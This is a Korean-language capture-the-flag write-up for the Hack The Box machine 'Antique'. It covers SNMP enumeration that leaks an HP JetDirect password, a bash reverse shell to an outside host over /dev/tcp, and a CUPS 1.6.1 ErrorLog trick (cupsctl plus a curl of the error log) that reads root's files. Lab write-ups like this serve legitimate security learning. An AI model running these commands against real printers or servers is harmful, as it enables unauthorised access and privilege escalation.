[Hack The Box] Antique 롸업

USERSHELL
스캔 결과 23번 telnet 포트만 열려있었다.
연결해 보니 HP Jetdirect 프린트 서버였다.


HP Jetdirect 란?
HP Jetdirect 프린트 서버를 사용하면 프린터와 다른 장치를 네트워크에 직접 연결할 수 있습니다.
패스워드는 admin, root, administrator, supervisor 등 디폴트 패스워드를 시도하였으나 로그인은 되지 않았다.
nmap -A 명령어를 사용해서 살펴보아도 특별한 것이 존재하지 않음...
그렇다면 nmap -sU 명령어를 사용해 보자!
nmap 스캔은 기본적으로 TCP 스캔이다. UDP는 잘 스캔하지 않는데 TCP 쪽에서 안 나오니 혹시나 하는 마음으로 UDP 스캔해 보는 수밖에
nmap -sU -sV 10.10.11.107

UDP 스캔은 오래 걸려서 기다려야 한다.
스캔 결과 SNMP 포트가 열려있는 것을 확인했고 커뮤니티가 디폴트인 public을 사용하는 것을 확인했다.
대상의 시스템 정보를 확인하기 위해 아래 명령어를 사용했는데 별게 없었다.
snmpwalk -v 2c -c public 10.10.11.107

하지만 특별한 명령어를 사용하면 JetDirect 패스워드 정보가 노출된다.
snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0

* 참고로 패스워드를 public가 아닌 다른 걸로 바꾸었어도 internal 패스워드는 한번 시도해 보는 게 좋다. 일부 JetDirect에서는 커뮤니티 이름을 변경하더라도 "internal"이 계속 작동하는 경우가 있다고 한다.
HEX로 되어있는 해당 패스워드를 복호화하면 telnet 패스워드가 나온다.


ROOTSHELL
일단 쉘을 얻기 위해 리버스쉘로 연결했다.
bash -c "bash -i >& /dev/tcp/10.10.14.3/4441 0>&1"
쉘 획득 후 정보를 수집하는데 어떤 포트가 열려있는지 확인하는 것은 기본이다.
netstat -ano

해당 호스트는 23번뿐만 아니라 631 포트도 열려있었다.
외부에서 스캔했을 때 안 나왔던 이유는 127.0.0.1:631 이렇게 포트가 로컬호스트로 붙어있으면 내부에서만 접근된다는 뜻이라서 스캔이 안나왔던 것이다.
nmap으로 긁어서 어떤 시스템인지 확인하고 싶지만 nmap이 없기 때문에 nc,curl 이런 명령어로 접근해서 떄려 맞춰보는 수밖에 없다.
curl 127.0.0.1:631

운 좋게 정보가 나왔는데 해당시스템은 CUPS 프린트 기능을 사용하고 있었다.
CUPS 프린트란?
CUPS는 컴퓨터를 인쇄 서버로 기능하도록 해주는 유닉스 계열 운영 체제를 위한 모듈 방식의 프린팅 시스템이다.
한마디로 리눅스 서버에서 프린트 서비스를 해주는 서비스라는 뜻이다.
CUPS 1.6.1 에 대해 취약점이 있는지 찾아보았다.

그래서 해당 모듈을 사용하려 했는데 실행이 안되었다.
이유는 잘 모르지만 다른 모듈같은 경우에는 lhost라고 대상 호스트를 지정하는 것이 존재했는데 여기는 없더라 그래서 실패한 거 같았다.


그래서 메타스플로잇 소스코드를 찾아서 어떻게 작동하는지 보았다.
메타스플로잇은 run으로 스크립트가 작동하니 run부분을 보면 될 거 같았다.

핵심 부분은 체크해 놓은 cmd_exec 부분인 거 같았다.
ctl_path 부분과 datastore['FILE'] 부분은 각각 아래와 같았음


결론적으로 실행하는 명령어는 아래와 같았다.
cupsctl ErrorLog=/root/root.txt
그다음은 /admin/log/error_log 부분을 request 해서 받고 run 함수는 끝이 난다.

즉, 내가 실행해야 하는 명령어는 아래와 같음
cupsctl ErrorLog=/root/root.txt
curl 127.0.0.1:631/admin/log/error_log?

출처 :
HP jetdirect 취약점
http://www.irongeek.com/i.php?page=security/networkprinterhacking
리눅스쉘획득시